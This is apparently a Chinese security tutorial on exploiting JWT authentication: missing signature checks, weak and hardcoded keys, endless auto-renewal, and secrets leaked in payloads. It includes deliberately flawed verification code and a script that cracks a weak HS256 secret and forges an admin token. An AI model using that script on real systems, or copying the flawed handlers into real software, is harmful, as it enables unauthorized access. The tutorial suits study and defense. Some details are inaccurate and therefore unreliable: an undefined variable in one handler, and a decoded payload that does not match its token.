1.基本介绍

在互联网应用中,用户身份认证保证 了 系统安全。以往最常见的可能就是 Cookie、Session这些传统技术,但现在渗透测试最常见和开发者更偏向的身份凭证就是——JWT(JSON Web Token),RFC 7519。最常见于 HTTP 请求头 Token 和 Authorization 字段。

JWT 携带签名部分,具备无状态性,服务器不需要存储会话信息,减轻存储压力,轻松支持多个域名或微服务之间的认证,更适用于微服务、分布式等场景。

JWT 主要由三部分组成,使用符号点 . 分隔:

  • 头部(Header):主要是令牌类型和使用的签名算法,如下:

{
  "alg": "HS256", 
  "typ": "JWT" 
}
  • 载荷(Payload):主要的信息载荷,有三种类型,包含一些预定义字段,也可以自定义信息字段。通过时间戳或者其他随机字段,可以让签名不固定变化。最常见的也就以下信息:

{ 
  "sub": "12345", 
  "name": "admin", 
  "exp": 1759736497, 
  "role": "admin"
}
  • 签名(Signature):使用头部指定算法对 base64 编码后的头部、载荷和密钥进行签名。构成为HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )

以上最终JWT格式为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTc1OTczNjQ5Nywicm9sZSI6ImFkbWluIn0.xfkuSjvejgsd4U8YyHstp_pkDXkMeMBAXd0gk-pNPaM

2.相关利用

2.1 签名未校验

JWT的核心安全机制依赖于签名验证,以确保Token未被篡改。但如果服务器在验证JWT时只检查 payload 用户身份,未检查签名,或头部设置alg: none(无签名算法),攻击者可随意修改Payload 进行伪造。比如,伪造管理员进行高权限操作,比如重置密码,新增管理员;伪造同级身份,在审批流程伪造身份审批通过。

def handle_request(token):
    try:
        # 1. 从请求头获取JWT Token
        auth_header = request.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Bearer '):
            return error_response("未提供认证Token")

        token = auth_header[7:]  # 去掉"Bearer "前缀
        
        # 2. 提取
        header_encoded, payload_encoded, signature_encoded = parts.split('.')
        
        # 3. 解码Payload
        payload_json = base64url_decode(payload_encoded)
        payload = json.loads(payload_json)
        
        # 4. 检查必需字段
        if 'sub' not in payload or 'role' not in payload:
            return False, "Token缺少必要字段"
        
        user_id = payload['sub']
        user_role = payload['role']
        
        # 5. 验证用户是否存在
        if not user_exists_in_db(user_id):
            return False, "用户不存在"
        
        # 6. 验证用户权限是否正确
        if not check_user_permission(user_id, user_role):
            return False, "权限验证失败"
        
        # 7. JWT验证"通过"
        return True, payload
    
    except Exception as e:
        return False, f"Token处理错误: {str(e)}"

2.2 弱密钥

如果密钥太简单(如secretpassword)导致可以被暴力破解。破解到密钥后。攻击者可伪造任意用户身份 Token。

现有的 JWT 工具有很多,如 hashcat,TscanPlus。当然,也可以自己利用现有 JWT 或加解密库实现一个简单的破解程序。

import jwt

target_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.uyfcas1phRDNZYP6aEr3lGCP4FpBHwZe1F9aWVEs-xw"

# 常见弱密钥字典
weak_secrets = [
    "secret", "password", "123456", 
    "admin", "qwerty", "jwtsecret",
    "p@ssword" 
]

# 爆破函数
def brute_force_jwt(jwt_token, secret_list):
    header, payload, signature = jwt_token.split('.')
    
    for secret in secret_list:
        try:
            new_token = jwt.encode(
                {"user": "guest", "role": "user"},  # 确保Payload和原始一致
                key=secret,
                algorithm="HS256"
            )
            
            # 检查新Token的签名是否匹配
            if new_token.split('.')[2] == signature:
                print(f"[+] 密钥破解成功: {secret}")
                return secret
        except Exception as e:
            print(e)
            continue
    print("[-] 未找到匹配密钥")
    return None

# 执行爆破
found_secret = brute_force_jwt(target_jwt, weak_secrets)

# 使用破解的密钥伪造Token(提升权限)
if found_secret:
    malicious_payload = {"user": "admin", "role": "admin"}
    fake_jwt = jwt.encode(malicious_payload, key=found_secret, algorithm="HS256")
    print(f"[+] 伪造的Admin Token: {fake_jwt}")

## 输出如:
## [+] 密钥破解成功: p@ssword
## [+] 伪造的Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.NBJVmZY-FUHBGFqgWJbXcCDrOeZvJlrsgyY5Kxguhi0

2.3 密钥硬编码

一些组件/开发者将JWT密钥直接硬编码在代码或默认配置文件未经修改,如果是开源或者公开组件代码,会导致密钥被利用。

比较经典的就是 Nacos 默认密钥,如果没注意修改,那么可以利用默认密钥伪造 Token 读取后台业务配置文件。

JWT利用-Nacos默认密钥.png

2.4 会话续期

JWT通常设置一定的有效期,如字段 exp。正常来说,每次会话请求时,除了检查身份以外,还是检查是否已过期。为了用户体验性,会额外进行自动续期检查,比如,在 token 还有 15 分钟或者 1/5 时间过期时,自动签发新 token。

服务器不会进行对 JWT 进行额外记录与存储。如果没有进行额外的校验和吊销机制,那么就可以利用即将过期的 Token 无限制的签发 Token。

# 模拟业务JWT验证处理
def handle_request(request):
    # 1. 从请求头获取JWT Token
    auth_header = request.headers.get('Authorization')
    if not auth_header or not auth_header.startswith('Bearer '):
        return error_response("未提供认证Token")

    token = auth_header[7:]  # 去掉"Bearer "前缀

    # 2. 验证JWT签名和基本格式
    if not verify_token_signature(token):
        return error_response("Token签名无效")

    # 3. 解码Token获取Payload(不验证过期时间)
    try:
        payload = decode_jwt_payload(token)  # 只解码,不验证exp
        user_id = payload.get('sub')
        exp_time = payload.get('exp')
    except:
        return error_response("Token格式错误")

    # 4. 检查Token是否已过期
    current_time = get_current_timestamp()
    if exp_time < current_time:
        return error_response("Token已过期,请重新登录")

    # 5. 自动续期检查
    token_ttl = exp_time - current_time  # 剩余有效期(秒)
    total_ttl = 3600  # Token总有效期1小时

    if token_ttl < 900:  # 如果剩余时间少于15分钟
        # 自动签发新Token(使用相同的Payload,更新exp时间)
        new_exp_time = current_time + total_ttl  # 重新设置为1小时后
        new_payload = payload.copy()
        new_payload['exp'] = new_exp_time

        # 重新签名,没有记录续期状态
        new_token = generate_jwt(new_payload)

        # 直接在Cookie或自定义响应头中返回新Token
        set_response_header('New-Access-Token', new_token)
        print(f"[续期] 用户 {user_id} 的Token已自动续期")

    # 6. 正常处理业务请求
    return process_business_request(user_id)

2.5 敏感信息泄露

前面说过,载荷部分可以随意自定义,如果开发者为了开发方便或者不注意,把一些敏感信息如手机号、邮箱或者直接将对象转储字符串到载荷部分中,攻击者就可以通过简单的 Base64 解码获取敏感信息,来进行进一步的利用。当然,前提是攻击者能够获取到会话 Token。

Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIxNWQ5ZDFjYTM4ZDVkZWU3IiwidXNlcm5hbWUiOiJhZG1pbiJ9.rsnj7dl8TlUjEzGerF-jRDeBUJlPxkNeVEhSSa5HskU

解码:{"alg": "HS256","typ": "JWT"}.{"name": "admin","password": "15d9d1ca38d5dee7","role":"admin"}.签名

3.结语

以上是经常遇到的利用 JWT 的方式,如果还有其他方式补充或者有什么描述错误的地方,欢迎一起交流学习。


参考链接: